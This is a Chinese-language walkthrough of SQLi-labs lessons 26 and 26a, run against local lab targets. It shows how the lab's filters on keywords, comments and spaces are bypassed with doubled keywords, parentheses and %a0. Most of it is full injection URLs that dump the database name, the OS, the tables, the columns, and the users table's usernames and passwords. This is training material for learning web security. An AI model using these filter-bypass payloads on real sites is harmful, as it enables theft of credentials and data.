第二十六关
GET类型基于你所有的空格和言论都是属于我的错误
1.判断注入点
根据提示,sql语句应该存在过滤
观察源代码发现存在or,and,/*,--,#,空格,斜杠过滤
绕过方法:
Or,and 采取双写绕过
注释过滤:采取and ‘1闭合语句绕过
空格过滤:采取括号绕过1and1写成1(and)1
构造payload:
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,0x7e))anandd '1
2.拖库(注意括号对称)
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,database())))anandd '1
3.拖表(千万注意括号,from,where不用加)
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')))))anandd '1
4.拖列
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema='security')anandd(table_name='users'))))))anandd '1
5.拖数据
http://127.0.0.1:500/Less-26/?id=-1'anandd(extractvalue(1,concat(0x7e,(select(group_concat(id,username,passwoorrd))from(users)))))anandd '1
GET类型布尔盲注-你的空格,言论都属于我--单引号-括号
查看源码发现过滤
or and /* -- # 空格 /
or and 采取双写
/* -- # 采取and
空格 采取%a0
构造语句: http://127.0.0.1:500/Less-26a/?id=1')anandd('1
本机的sqllabless26a有问题,用的旧靶机上的(下好sqllab很重要)
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,2,3%a0anandd%a0('2
拖库
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a05,database(),3%a0anandd%a0('2
拖操作系统
http://192.168.0.106:82/Less-26a/?id=0')union%a0select%a01,@@version_compile_os,3%a0anandd%a0('2
剩下的操作大同小异了,把命令改一改就行了
拖表:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’
拖列:union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’
拖数据:union select 1,group_concat(id,username,password) from users